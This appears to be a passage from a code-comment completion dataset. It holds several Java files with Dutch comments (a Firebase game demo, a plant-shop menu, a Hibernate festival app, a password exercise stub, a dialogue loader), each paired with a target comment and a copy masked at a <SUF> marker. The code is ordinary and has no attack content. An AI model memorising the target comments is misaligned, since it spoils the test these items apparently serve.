24419_1 | package nl.game.voorbeeld;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import nl.game.controllers.Controller;
import nl.game.controllers.GameController;
import nl.game.models.GameModel;
import nl.game.models.Model;
import nl.game.services.FirebaseService;
import nl.game.views.GameView;
import nl.game.views.View;
/**
* Hello world!
*
*/
public class App
{
public App() {
// Hier maken we een game identifier en een game-token aan.
String gameIdentifier = "GY2UYU4E";
String gameToken = "HGJTF";
// We maken hier een hashmap met de gegevens van de spelers.
Map playerData = new HashMap<String, String>();
playerData.put("Player1", "Floris");
playerData.put("Player2", "Michiel");
playerData.put("Player3", "Josh");
playerData.put("Player4", "Koen");
// We maken hier de HashMap met de "game" gegevens.
Map dataForFirebase = new HashMap<String, Object>();
dataForFirebase.put("token", gameToken);
dataForFirebase.put("players", playerData);
dataForFirebase.put("current_player", "Player2");
FirebaseService fbService = new FirebaseService(); // Gebruik de firebase server voor contact met firebase.
fbService.set(gameIdentifier, dataForFirebase); // Game-gegevens opslaan.
// Maken van de MVC
Model gameModel = new GameModel();
Controller gameController = new GameController(gameModel); // De EventListener kan hier..
View gameView = new GameView(gameController);
// Luisteren naar de Listener. Verplaats dit naar een controller.
fbService.listen(gameIdentifier, gameController);
try {
this.waitForFirebaseObservable(10000000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main( String[] args )
{
new App();
}
public synchronized void waitForFirebaseObservable(int ms) throws InterruptedException {
// Deze methode gebruiken we alleen om het programma niet te laten beeïndigen.
// Zodat we kunnen 'luisteren' naar de updates.
int counter = 0;
for (int i = 0; i < ms; i++) {
if(counter % 1000 == 0) {
System.out.print(".");
}
this.wait(1);
counter++;
}
System.out.println("Exiting program");
}
}
| Admiraal/iipsen | firebase_service_voorbeeld/src/main/java/nl/game/voorbeeld/App.java | 780 | // Hier maken we een game identifier en een game-token aan. | line_comment | nl | package nl.game.voorbeeld;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import nl.game.controllers.Controller;
import nl.game.controllers.GameController;
import nl.game.models.GameModel;
import nl.game.models.Model;
import nl.game.services.FirebaseService;
import nl.game.views.GameView;
import nl.game.views.View;
/**
* Hello world!
*
*/
public class App
{
public App() {
// Hier maken<SUF>
String gameIdentifier = "GY2UYU4E";
String gameToken = "HGJTF";
// We maken hier een hashmap met de gegevens van de spelers.
Map playerData = new HashMap<String, String>();
playerData.put("Player1", "Floris");
playerData.put("Player2", "Michiel");
playerData.put("Player3", "Josh");
playerData.put("Player4", "Koen");
// We maken hier de HashMap met de "game" gegevens.
Map dataForFirebase = new HashMap<String, Object>();
dataForFirebase.put("token", gameToken);
dataForFirebase.put("players", playerData);
dataForFirebase.put("current_player", "Player2");
FirebaseService fbService = new FirebaseService(); // Gebruik de firebase server voor contact met firebase.
fbService.set(gameIdentifier, dataForFirebase); // Game-gegevens opslaan.
// Maken van de MVC
Model gameModel = new GameModel();
Controller gameController = new GameController(gameModel); // De EventListener kan hier..
View gameView = new GameView(gameController);
// Luisteren naar de Listener. Verplaats dit naar een controller.
fbService.listen(gameIdentifier, gameController);
try {
this.waitForFirebaseObservable(10000000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main( String[] args )
{
new App();
}
public synchronized void waitForFirebaseObservable(int ms) throws InterruptedException {
// Deze methode gebruiken we alleen om het programma niet te laten beeïndigen.
// Zodat we kunnen 'luisteren' naar de updates.
int counter = 0;
for (int i = 0; i < ms; i++) {
if(counter % 1000 == 0) {
System.out.print(".");
}
this.wait(1);
counter++;
}
System.out.println("Exiting program");
}
}
|
107191_0 | package cui;
import java.util.Scanner;
import domein.DomeinController;
import domein.Plant;
import dto.PlantDTO;
public class TuincentrumApplicatie
{
private final DomeinController dc;
private Scanner sc = new Scanner(System.in);
public TuincentrumApplicatie(DomeinController dc) {
this.dc =dc;
}
public void start()
{
int keuze;
do{
String[] menuKeuzes = {"Toon overzicht alle planten", "Toon overzicht voorradige planten","Voeg plant toe","Geef overzicht per hoogte", "Geef verkoopwaarde", "Stoppen"};
keuze = maakMenuKeuze(menuKeuzes,"Wat kies je? ");
switch (keuze){
case 0 -> geefPlantenInVoorraad(false);
case 1 -> geefPlantenInVoorraad(true);
case 2 -> voegPlantToe();
case 3 -> maakOverzichtPlantenPerHoogte();
default -> toonVerkoopWaarde();
}
} while (keuze != 5);
}
private int maakMenuKeuze(String[] keuzes, String hoofding)
{
System.out.println(hoofding);
for (int i = 0; i < keuzes.length; i++) System.out.println("%d\t%s".formatted(i,keuzes[i]));
int in =-1;
in = sc.nextInt();
while(in<0||in>=keuzes.length){
System.out.println("%d ligt niet tussen 0 en %d!".formatted(in, keuzes.length-1));
in = sc.nextInt();
}
return in;
}
private void toonVerkoopWaarde(){
System.out.println("De totale verkoopprijs indien alles verkocht wordt zal neerkomen op %.2f euro.".formatted(dc.bepaalWaardeVerkoop()));
}
private void voegPlantToe()
{
System.out.println("Geef in deze volgorde: naam, soortcode, hoogte, prijs(in euro) en hoeveelheid in vooraad:\n");
dc.voegPlantToe(sc.next(), sc.next().charAt(0), sc.nextInt(), sc.nextDouble(), sc.nextInt());
}
// Bepaal aantal planten tss 0-80cm, 80cm-1m, groter dan 1 m
private void maakOverzichtPlantenPerHoogte()
{
int[] inta = dc.maakOverzichtPlantenPerHoogte();
System.out.println("%20s%20s%20s%n%20s%20s%20s".formatted("Kleiner dan 80cm","80-100 cm","Groter dan 1m",inta[0],inta[1],inta[2]));
}
private void geefPlantenInVoorraad(boolean inVoorraad)
{
PlantDTO[] planten = dc.geefAllePlanten(inVoorraad);
for (PlantDTO plant : planten) {
System.out.println(plant);
}
}
}
| AdrenalineGhost/Projects | java/examen1/voorbeeldexamen_deel1/OOSDI_EP1_deel1_start/src/cui/TuincentrumApplicatie.java | 887 | // Bepaal aantal planten tss 0-80cm, 80cm-1m, groter dan 1 m | line_comment | nl | package cui;
import java.util.Scanner;
import domein.DomeinController;
import domein.Plant;
import dto.PlantDTO;
public class TuincentrumApplicatie
{
private final DomeinController dc;
private Scanner sc = new Scanner(System.in);
public TuincentrumApplicatie(DomeinController dc) {
this.dc =dc;
}
public void start()
{
int keuze;
do{
String[] menuKeuzes = {"Toon overzicht alle planten", "Toon overzicht voorradige planten","Voeg plant toe","Geef overzicht per hoogte", "Geef verkoopwaarde", "Stoppen"};
keuze = maakMenuKeuze(menuKeuzes,"Wat kies je? ");
switch (keuze){
case 0 -> geefPlantenInVoorraad(false);
case 1 -> geefPlantenInVoorraad(true);
case 2 -> voegPlantToe();
case 3 -> maakOverzichtPlantenPerHoogte();
default -> toonVerkoopWaarde();
}
} while (keuze != 5);
}
private int maakMenuKeuze(String[] keuzes, String hoofding)
{
System.out.println(hoofding);
for (int i = 0; i < keuzes.length; i++) System.out.println("%d\t%s".formatted(i,keuzes[i]));
int in =-1;
in = sc.nextInt();
while(in<0||in>=keuzes.length){
System.out.println("%d ligt niet tussen 0 en %d!".formatted(in, keuzes.length-1));
in = sc.nextInt();
}
return in;
}
private void toonVerkoopWaarde(){
System.out.println("De totale verkoopprijs indien alles verkocht wordt zal neerkomen op %.2f euro.".formatted(dc.bepaalWaardeVerkoop()));
}
private void voegPlantToe()
{
System.out.println("Geef in deze volgorde: naam, soortcode, hoogte, prijs(in euro) en hoeveelheid in vooraad:\n");
dc.voegPlantToe(sc.next(), sc.next().charAt(0), sc.nextInt(), sc.nextDouble(), sc.nextInt());
}
// Bepaal aantal<SUF>
private void maakOverzichtPlantenPerHoogte()
{
int[] inta = dc.maakOverzichtPlantenPerHoogte();
System.out.println("%20s%20s%20s%n%20s%20s%20s".formatted("Kleiner dan 80cm","80-100 cm","Groter dan 1m",inta[0],inta[1],inta[2]));
}
private void geefPlantenInVoorraad(boolean inVoorraad)
{
PlantDTO[] planten = dc.geefAllePlanten(inVoorraad);
for (PlantDTO plant : planten) {
System.out.println(plant);
}
}
}
|
113361_5 | package Main;
import model.*;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.Transaction;
import persistence.HibernateUtil;
import persistence.TestData;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.*;
public class Main {
Scanner scanner = new Scanner(System.in);
static Session session;
static Transaction tx;
public static void main(String[] args) throws ParseException {
Main me = new Main();
me.askTestData();
//session and transaction placed here because if you do want testdata you will open 2 session which is not allowed by hibernate
session = HibernateUtil.getSessionFactory().getCurrentSession();
tx = session.beginTransaction();
me.runConsole();
tx.commit();
}
//ask for testdata
private void askTestData() {
System.out.println("Wilt u de testdata laden? (y/n)");
if (scanner.next().equals("y")) {
TestData td = new TestData();
td.runTestData();
}
}
//start and run console app
private void runConsole() throws ParseException {
//init menu
int menu = getOptionMainMenu();
while (menu != 5) {
//print menu and returns the chosen option
switch (menu) {
case 1:
//maak festivalganger
System.out.println("Geef je naam:");
FestivalGanger buyer = new FestivalGanger();
buyer.setNaam(scanner.nextLine());
//getFestival
Festival festival = getFestival();
//maak ticketverkoop
TicketVerkoop sale = new TicketVerkoop();
sale.setFestivalGanger(buyer);
sale.setTimestamp(new Date());
sale.setType(TicketVerkoop.VerkoopsType.WEB);
sale.setFestival(festival);
//get tickettypes
System.out.println("Welk tickettype wil je?");
Query getticketTypes = session.createQuery("from TicketType where naam like :festivalname");
String festivalname = "%" + festival.getName() + "%";
getticketTypes.setString("festivalname", festivalname);
List ticketTypes = getticketTypes.list();
//kies tickettype
System.out.println("Kies je tickettype:");
for (int i = 0; i < ticketTypes.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((TicketType) ticketTypes.get(i)).getNaam());
}
int typeChoice = scanner.nextInt();
scanner.nextLine();
TicketType tt = (TicketType) ticketTypes.get(typeChoice - 1);
//kies aantal
System.out.println("Hoeveel tickets wil je?:");
int aantalTickets = scanner.nextInt();
scanner.nextLine();
//maak tickets
session.saveOrUpdate(buyer);
session.saveOrUpdate(sale);
for (int i = 0; i < aantalTickets; i++) {
Ticket ticket = new Ticket();
ticket.setTicketType(tt);
ticket.setTicketVerkoop(sale);
session.saveOrUpdate(ticket);
}
System.out.print("Het totaal bedraagt:");
System.out.println("€" + (tt.getPrijs() * aantalTickets));
break;
case 2:
//getfestival
Festival festival2 = getFestival();
//getZone
Zone zone = getZone(festival2);
//in out?
System.out.println("In or out? (in = 1 / out = 0)");
int isInInt = scanner.nextInt();
scanner.nextLine();
Boolean isIn;
//isIn = true if isInInt = 1 else false
isIn = isInInt == 1;
//poslbandID
System.out.println("Geef de polsbandId:");
int polsbandID = scanner.nextInt();
scanner.nextLine();
//gentracking
Tracking tracking = new Tracking();
tracking.setZone(zone);
tracking.setTimestamp(new Date());
tracking.setDirection(isIn);
tracking.setPolsbandId(polsbandID);
session.saveOrUpdate(tracking);
break;
case 3:
//get festivals
Festival festival3 = getFestival();
//get zones
Zone zone2 = getZone(festival3);
//get date
Query getDates = session.createQuery("select op.startTime from FestivalDag fd, Optreden op where fd.festival = :festival and op.festivalDag = fd");
getDates.setParameter("festival", festival3);
List dates = getDates.list();
System.out.println("Kies de datum:");
for (int i = 0; i < dates.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println((dates.get(i)).toString());
}
int datePick = scanner.nextInt();
scanner.nextLine();
//get optredens in zone where startdate < date > enddate
Query getOptredens = session.createQuery("from Optreden op where :date > op.startTime and :date < op.endTime and op.zone = :zone");
//add 1 min
Calendar cal = Calendar.getInstance();
cal.setTime((Date) dates.get(datePick - 1));
cal.add(Calendar.MINUTE, 1);
getOptredens.setParameter("date", cal.getTime());
getOptredens.setParameter("zone", zone2);
List optredens = getOptredens.list();
//output
System.out.println("");
System.out.println("Optreden: ");
for (Object o : optredens) {
System.out.println(((Optreden) o).getArtiest().getNaam());
}
break;
case 4:
//get artiests
Query getArtiests = session.createQuery("from Artiest");
List artiests = getArtiests.list();
System.out.println("Kies je artiest");
for (int i = 0; i < artiests.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Artiest) artiests.get(i)).getNaam());
}
int artiestPick = scanner.nextInt();
scanner.nextLine();
//get dates
SimpleDateFormat df = new SimpleDateFormat("mm/dd/yyyy");
System.out.println("Geef datum 1 (mm/dd/yyyy):");
String date1 = scanner.next();
System.out.println("Geeft datum 2 (mm/dd/yyyy)");
String date2 = scanner.next();
Date d1 = df.parse(date1.trim());
Date d2 = df.parse(date2.trim());
//get festivals
Query getFestivalDaysFromArtiest = session.createQuery("select o.festivalDag from Optreden o where o.artiest = :artiest ");
getFestivalDaysFromArtiest.setParameter("artiest", artiests.get(artiestPick - 1));
List festivaldays = getFestivalDaysFromArtiest.list();
Set<Festival> setFestival = new HashSet<>();
for (Object festivalday1 : festivaldays) {
FestivalDag festivalday = (FestivalDag) festivalday1;
Query getFestivals = session.createQuery("select fd.festival from FestivalDag fd, Optreden o where fd = :festivaldag AND fd.date BETWEEN :date1 AND :date2");
getFestivals.setParameter("festivaldag", festivalday);
getFestivals.setDate("date1", d1);
getFestivals.setDate("date2", d2);
setFestival.addAll(getFestivals.list());
}
System.out.println("Festivals: ");
for (Festival f : setFestival) {
System.out.println(f.getName());
}
break;
}
//gives the menu again
menu = getOptionMainMenu();
}
}
private int getOptionMainMenu() {
System.out.println("");
System.out.println("Kies welke opdracht je wilt uitvoeren:");
//options
System.out.println("1: Registratie van een verkoop");
System.out.println("2: Opslaan passage");
System.out.println("3: Zoeken otreden");
System.out.println("4: Zoeken festival");
System.out.println("5: Stoppen");
int result = scanner.nextInt();
scanner.nextLine();
return result;
}
private Festival getFestival() {
//get festivals
Query getFestivals = session.createQuery("from Festival");
List festivals = getFestivals.list();
//kies festival
System.out.println("Kies je festival:");
for (int i = 0; i < festivals.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Festival) festivals.get(i)).getName());
}
int festivalChoice = scanner.nextInt();
scanner.nextLine();
return (Festival) festivals.get(festivalChoice - 1);
}
private Zone getZone(Festival festival) {
//getzones
Query getZones = session.createQuery("from Zone zone where zone.festival = :festival and zone.naam like '%Stage%' ");
getZones.setParameter("festival", festival);
List zones = getZones.list();
//select zone
System.out.println("Welke zone?");
for (int i = 0; i < zones.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Zone) zones.get(i)).getNaam());
}
int zone = scanner.nextInt();
scanner.nextLine();
return (Zone) zones.get(zone - 1);
}
}
| AdriVanHoudt/D-M-Project | Project Deel 1/src/Main/Main.java | 2,899 | //get optredens in zone where startdate < date > enddate | line_comment | nl | package Main;
import model.*;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.Transaction;
import persistence.HibernateUtil;
import persistence.TestData;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.*;
public class Main {
Scanner scanner = new Scanner(System.in);
static Session session;
static Transaction tx;
public static void main(String[] args) throws ParseException {
Main me = new Main();
me.askTestData();
//session and transaction placed here because if you do want testdata you will open 2 session which is not allowed by hibernate
session = HibernateUtil.getSessionFactory().getCurrentSession();
tx = session.beginTransaction();
me.runConsole();
tx.commit();
}
//ask for testdata
private void askTestData() {
System.out.println("Wilt u de testdata laden? (y/n)");
if (scanner.next().equals("y")) {
TestData td = new TestData();
td.runTestData();
}
}
//start and run console app
private void runConsole() throws ParseException {
//init menu
int menu = getOptionMainMenu();
while (menu != 5) {
//print menu and returns the chosen option
switch (menu) {
case 1:
//maak festivalganger
System.out.println("Geef je naam:");
FestivalGanger buyer = new FestivalGanger();
buyer.setNaam(scanner.nextLine());
//getFestival
Festival festival = getFestival();
//maak ticketverkoop
TicketVerkoop sale = new TicketVerkoop();
sale.setFestivalGanger(buyer);
sale.setTimestamp(new Date());
sale.setType(TicketVerkoop.VerkoopsType.WEB);
sale.setFestival(festival);
//get tickettypes
System.out.println("Welk tickettype wil je?");
Query getticketTypes = session.createQuery("from TicketType where naam like :festivalname");
String festivalname = "%" + festival.getName() + "%";
getticketTypes.setString("festivalname", festivalname);
List ticketTypes = getticketTypes.list();
//kies tickettype
System.out.println("Kies je tickettype:");
for (int i = 0; i < ticketTypes.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((TicketType) ticketTypes.get(i)).getNaam());
}
int typeChoice = scanner.nextInt();
scanner.nextLine();
TicketType tt = (TicketType) ticketTypes.get(typeChoice - 1);
//kies aantal
System.out.println("Hoeveel tickets wil je?:");
int aantalTickets = scanner.nextInt();
scanner.nextLine();
//maak tickets
session.saveOrUpdate(buyer);
session.saveOrUpdate(sale);
for (int i = 0; i < aantalTickets; i++) {
Ticket ticket = new Ticket();
ticket.setTicketType(tt);
ticket.setTicketVerkoop(sale);
session.saveOrUpdate(ticket);
}
System.out.print("Het totaal bedraagt:");
System.out.println("€" + (tt.getPrijs() * aantalTickets));
break;
case 2:
//getfestival
Festival festival2 = getFestival();
//getZone
Zone zone = getZone(festival2);
//in out?
System.out.println("In or out? (in = 1 / out = 0)");
int isInInt = scanner.nextInt();
scanner.nextLine();
Boolean isIn;
//isIn = true if isInInt = 1 else false
isIn = isInInt == 1;
//poslbandID
System.out.println("Geef de polsbandId:");
int polsbandID = scanner.nextInt();
scanner.nextLine();
//gentracking
Tracking tracking = new Tracking();
tracking.setZone(zone);
tracking.setTimestamp(new Date());
tracking.setDirection(isIn);
tracking.setPolsbandId(polsbandID);
session.saveOrUpdate(tracking);
break;
case 3:
//get festivals
Festival festival3 = getFestival();
//get zones
Zone zone2 = getZone(festival3);
//get date
Query getDates = session.createQuery("select op.startTime from FestivalDag fd, Optreden op where fd.festival = :festival and op.festivalDag = fd");
getDates.setParameter("festival", festival3);
List dates = getDates.list();
System.out.println("Kies de datum:");
for (int i = 0; i < dates.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println((dates.get(i)).toString());
}
int datePick = scanner.nextInt();
scanner.nextLine();
//get optredens<SUF>
Query getOptredens = session.createQuery("from Optreden op where :date > op.startTime and :date < op.endTime and op.zone = :zone");
//add 1 min
Calendar cal = Calendar.getInstance();
cal.setTime((Date) dates.get(datePick - 1));
cal.add(Calendar.MINUTE, 1);
getOptredens.setParameter("date", cal.getTime());
getOptredens.setParameter("zone", zone2);
List optredens = getOptredens.list();
//output
System.out.println("");
System.out.println("Optreden: ");
for (Object o : optredens) {
System.out.println(((Optreden) o).getArtiest().getNaam());
}
break;
case 4:
//get artiests
Query getArtiests = session.createQuery("from Artiest");
List artiests = getArtiests.list();
System.out.println("Kies je artiest");
for (int i = 0; i < artiests.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Artiest) artiests.get(i)).getNaam());
}
int artiestPick = scanner.nextInt();
scanner.nextLine();
//get dates
SimpleDateFormat df = new SimpleDateFormat("mm/dd/yyyy");
System.out.println("Geef datum 1 (mm/dd/yyyy):");
String date1 = scanner.next();
System.out.println("Geeft datum 2 (mm/dd/yyyy)");
String date2 = scanner.next();
Date d1 = df.parse(date1.trim());
Date d2 = df.parse(date2.trim());
//get festivals
Query getFestivalDaysFromArtiest = session.createQuery("select o.festivalDag from Optreden o where o.artiest = :artiest ");
getFestivalDaysFromArtiest.setParameter("artiest", artiests.get(artiestPick - 1));
List festivaldays = getFestivalDaysFromArtiest.list();
Set<Festival> setFestival = new HashSet<>();
for (Object festivalday1 : festivaldays) {
FestivalDag festivalday = (FestivalDag) festivalday1;
Query getFestivals = session.createQuery("select fd.festival from FestivalDag fd, Optreden o where fd = :festivaldag AND fd.date BETWEEN :date1 AND :date2");
getFestivals.setParameter("festivaldag", festivalday);
getFestivals.setDate("date1", d1);
getFestivals.setDate("date2", d2);
setFestival.addAll(getFestivals.list());
}
System.out.println("Festivals: ");
for (Festival f : setFestival) {
System.out.println(f.getName());
}
break;
}
//gives the menu again
menu = getOptionMainMenu();
}
}
private int getOptionMainMenu() {
System.out.println("");
System.out.println("Kies welke opdracht je wilt uitvoeren:");
//options
System.out.println("1: Registratie van een verkoop");
System.out.println("2: Opslaan passage");
System.out.println("3: Zoeken otreden");
System.out.println("4: Zoeken festival");
System.out.println("5: Stoppen");
int result = scanner.nextInt();
scanner.nextLine();
return result;
}
private Festival getFestival() {
//get festivals
Query getFestivals = session.createQuery("from Festival");
List festivals = getFestivals.list();
//kies festival
System.out.println("Kies je festival:");
for (int i = 0; i < festivals.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Festival) festivals.get(i)).getName());
}
int festivalChoice = scanner.nextInt();
scanner.nextLine();
return (Festival) festivals.get(festivalChoice - 1);
}
private Zone getZone(Festival festival) {
//getzones
Query getZones = session.createQuery("from Zone zone where zone.festival = :festival and zone.naam like '%Stage%' ");
getZones.setParameter("festival", festival);
List zones = getZones.list();
//select zone
System.out.println("Welke zone?");
for (int i = 0; i < zones.size(); i++) {
System.out.print((i + 1) + ": ");
System.out.println(((Zone) zones.get(i)).getNaam());
}
int zone = scanner.nextInt();
scanner.nextLine();
return (Zone) zones.get(zone - 1);
}
}
|
36618_2 | package be.kdg.patterns.data;
import java.util.Scanner;
/**
* Vul in deze klasse de methoden autenticate en wijzigWachtwoord aan.
* Maak bij voorkeur gebruik van een Scanner voor het inlezen.
*/
public class User {
private final String rekeningNummer;
private String wachtwoord;
public User(String rekeningNummer, String wachtwoord) {
this.rekeningNummer = rekeningNummer;
this.wachtwoord = wachtwoord;
}
public String getRekeningNummer() {
return rekeningNummer;
}
/**
* In deze methode wordt aan de gebruiker gevraagd om zijn/haar
* wachtwoord in te geven.
*
* @return boolean true als het wachtwoord overeenstemt.
*/
public boolean autenticate() {
return false;
}
/**
* Met behulp van deze methode wordt de gebruiker de mogelijkheid gegeven
* zijn/haar wachtwoord te wijzigen. Voorzie een controle op het nieuwe
* wachtwoord door het tweemaal te vragen. Het wachtwoord wordt slechts aangepast
* als beide ingaven voor het nieuwe wachtwoord overeenstemmen.
*/
public void wijzigWachtwoord() {
}
}
| AdriVanHoudt/School | KdG12-13/Java/Oef/Week5.ProxyProtection/src/be/kdg/patterns/data/User.java | 341 | /**
* Met behulp van deze methode wordt de gebruiker de mogelijkheid gegeven
* zijn/haar wachtwoord te wijzigen. Voorzie een controle op het nieuwe
* wachtwoord door het tweemaal te vragen. Het wachtwoord wordt slechts aangepast
* als beide ingaven voor het nieuwe wachtwoord overeenstemmen.
*/ | block_comment | nl | package be.kdg.patterns.data;
import java.util.Scanner;
/**
* Vul in deze klasse de methoden autenticate en wijzigWachtwoord aan.
* Maak bij voorkeur gebruik van een Scanner voor het inlezen.
*/
public class User {
private final String rekeningNummer;
private String wachtwoord;
public User(String rekeningNummer, String wachtwoord) {
this.rekeningNummer = rekeningNummer;
this.wachtwoord = wachtwoord;
}
public String getRekeningNummer() {
return rekeningNummer;
}
/**
* In deze methode wordt aan de gebruiker gevraagd om zijn/haar
* wachtwoord in te geven.
*
* @return boolean true als het wachtwoord overeenstemt.
*/
public boolean autenticate() {
return false;
}
/**
* Met behulp van<SUF>*/
public void wijzigWachtwoord() {
}
}
|
42140_3 |
package eu.couch.hmi.environments;
import java.util.ArrayList;
import java.util.List;
import org.slf4j.LoggerFactory;
import com.fasterxml.jackson.databind.DeserializationFeature;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import eu.couch.hmi.actor.Actor;
import eu.couch.hmi.actor.ActorJSON;
import eu.couch.hmi.actor.DialogueActor;
import eu.couch.hmi.actor.GenericDialogueActor;
import eu.couch.hmi.actor.UIControllableActor;
import eu.couch.hmi.dialogue.IDialogueStatusListener;
import eu.couch.hmi.environments.DGEPEnvironment.DialogueStatus;
import eu.couch.hmi.floormanagement.FCFSFloorManager;
import eu.couch.hmi.floormanagement.IFloorManager;
import eu.couch.hmi.intent.planner.AsapIntentRealizer;
import eu.couch.hmi.intent.planner.DefaultIntentPlanner;
import eu.couch.hmi.intent.planner.GretaIntentRealizer;
import eu.couch.hmi.intent.planner.IIntentPlanner;
import eu.couch.hmi.intent.planner.NoEmbodimentIntentPlanner;
import eu.couch.hmi.intent.realizer.IIntentRealizer;
import eu.couch.hmi.moves.IMoveDistributor;
import eu.couch.hmi.moves.selector.DefaultMoveSelector;
import eu.couch.hmi.moves.selector.IMoveSelector;
import hmi.flipper.ExperimentFileLogger;
import hmi.flipper.environment.BaseFlipperEnvironment;
import hmi.flipper.environment.FlipperEnvironmentMessageJSON;
import hmi.flipper.environment.IFlipperEnvironment;
/*
* This Environment is responsible for initializing the dialogue and participating actors / agents.
* The overall flow of this Environment:
* 1. Environment Initialization: store the DGEP and other Environments
* 2. "init_dialogue" command (called from Flipper/through message bus) - See this.loadDialogue()
* a.) Start dialogue in DGEP with params.protocolParams (
* b.) Initialize actors in params.dialogueActors.
* c.) Wait for all actors be be joined.
* 3. For each joined Actor in DGEP, initialize a "DialogueActor" - See this.loadDialogueActors()
* 4. Return a representation of all DialogueActors to Flipper (response to "init_dialogue" command).
* (5. Request the moveset from DGEP to kickstart the dialogue)
*/
public class DialogueLoaderEnvironment extends BaseFlipperEnvironment implements IDialogueStatusListener {
private static org.slf4j.Logger logger = LoggerFactory.getLogger(DialogueLoaderEnvironment.class.getName());
IFlipperEnvironment[] allEnvs;
DGEPEnvironment dgepEnv;
ObjectMapper om;
List<DialogueActor> dialogueActors;
private IFloorManager fm;
public DialogueLoaderEnvironment() {
super();
dialogueActors = new ArrayList<DialogueActor>();
om = new ObjectMapper();
om.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
}
@Override
public void setRequiredEnvironments(IFlipperEnvironment[] envs) throws Exception {
this.allEnvs = envs;
this.dgepEnv = null;
for (IFlipperEnvironment env : envs) {
if (env instanceof DGEPEnvironment) this.dgepEnv = (DGEPEnvironment) env;
}
if (this.dgepEnv == null) throw new Exception("Required loader of type DGEPEnvironment not found.");
}
@Override
public void init(JsonNode params) throws Exception {
dgepEnv.registerDialogueStatusListener(this);
}
@Override
public FlipperEnvironmentMessageJSON onMessage(FlipperEnvironmentMessageJSON fenvmsg) throws Exception {
switch (fenvmsg.cmd) {
case "init_dialogue":
ExperimentFileLogger.getInstance().log("init_dialogue", fenvmsg.params);
DialogueInitJSON dij = om.treeToValue(fenvmsg.params, DialogueInitJSON.class);
return buildResponse(fenvmsg, loadDialogue(dij.topicParams, dij.dialogueActors, dij.utteranceParams));
default:
logger.warn("Unhandled message: "+fenvmsg.cmd);
break;
}
return null;
}
public JsonNode loadDialogue(JsonNode topic, JsonNode actors, JsonNode utteranceParams) {
Actor[] dgepActors = null;
dgepActors = dgepEnv.initSession(topic, actors, utteranceParams);
JsonNode res = loadDialogueActors(dgepActors);
if (res == null) {
logger.error("Failed to initialize (all) dialogue actors (initializing DGEP was successful)");
} else {
// TODO: maybe leave this to Flipper?
dgepEnv.requestMoves();
}
return res;
}
/* Initialize a DialogueActor for each actor that partakes in the DGEP dialogue.
* TODO: This method (and the specification of DialogueActors) need to be re-implemented to support more flexible
* initialization of actiors, allowing to specify
*/
public JsonNode loadDialogueActors(Actor[] actors) {
for(DialogueActor da : dialogueActors) {
da.disableActor();
}
this.dialogueActors.clear();
UIEnvironment uie = null;
DGEPEnvironment dgepm = null;
FloorManagementEnvironment fme = null;
GretaIntentRealizer gir = null;
AsapIntentRealizer air = null;
FlipperIntentPlannerEnvironment fpe = null;
IMoveDistributor moveDistributor = null;
//todo dennis: je kan ook hier dynamische in de fmlenv de nieuwe middleware laten maken voor deze nieuwe actor. moet je de fml env hier hebben, maar dan hoeft in environmentsxml niet meer laura en camille te staan
for (IFlipperEnvironment e : allEnvs) {
if (e instanceof UIEnvironment) uie = (UIEnvironment) e;
if (e instanceof FloorManagementEnvironment) fme = (FloorManagementEnvironment) e;
if (e instanceof GretaIntentRealizer) gir = (GretaIntentRealizer) e;
if (e instanceof AsapIntentRealizer) air = (AsapIntentRealizer) e;
if (e instanceof FlipperIntentPlannerEnvironment) fpe = (FlipperIntentPlannerEnvironment) e;
// We can insert a "proxy" move distributor in the environments
// agents will then listen to the proxy if one is supplied...
if (e instanceof DGEPEnvironment) {
dgepm = (DGEPEnvironment) e;
if (moveDistributor == null) {
moveDistributor = dgepm;
}
} else if (e instanceof IMoveDistributor) {
moveDistributor = (IMoveDistributor) e;
}
}
//if there is a floormanagementenvironment we should use the defined floormanager, but otherwise we just use a very simple one instead
if(fme != null) {
fm = fme.getFloorManager();
} else {
fm = new FCFSFloorManager();
}
for (Actor a : actors) {
logger.info("Setting up DialogueActor "+a.identifier+" (Player: "+a.player+"):");
IMoveSelector ms = new DefaultMoveSelector(true);
logger.info(" => Using DefaultMoveSelector");
IIntentPlanner mp = null;
int countGretas;
if (a.bml_name == null || a.bml_name.length() == 0) {
mp = new NoEmbodimentIntentPlanner();
logger.info(" => Using NoEmbodimentMovePlanner");
} else if (air != null && a.engine.equalsIgnoreCase("ASAP")) {
mp = new DefaultIntentPlanner(air, a.bml_name);
logger.info(" => Using BMLMovePlanner (bml char id: "+a.bml_name+")");
} else if (fpe != null && a.engine.equalsIgnoreCase("ASAP")) {
mp = new DefaultIntentPlanner(fpe, a.bml_name);
logger.info(" => Using FlipperMovePlanner (bml char id: "+a.bml_name+")");
} else if (gir != null && a.engine.equalsIgnoreCase("greta")) {
//if (countg){
//TODO: for multiple greta agents. nesting for charID, i/o Topic suffics met charID (in fml environment)
mp = new DefaultIntentPlanner(gir, a.bml_name);
logger.info(" => Using FMLMovePlanner (bml char id: "+a.bml_name+")");
//}
} else {
logger.error(" => Failed to find suitable MovePlanner");
}
if (a.dialogueActorClass.contentEquals("UIControllableActor")) {
logger.info(" => As UIControllableActor");
this.dialogueActors.add(new UIControllableActor(a, fm, moveDistributor, ms, mp, dgepm, uie));
} else {
logger.info(" => As GenericDialogueActor");
this.dialogueActors.add(new GenericDialogueActor(a, fm, moveDistributor, ms, mp, dgepm));
}
}
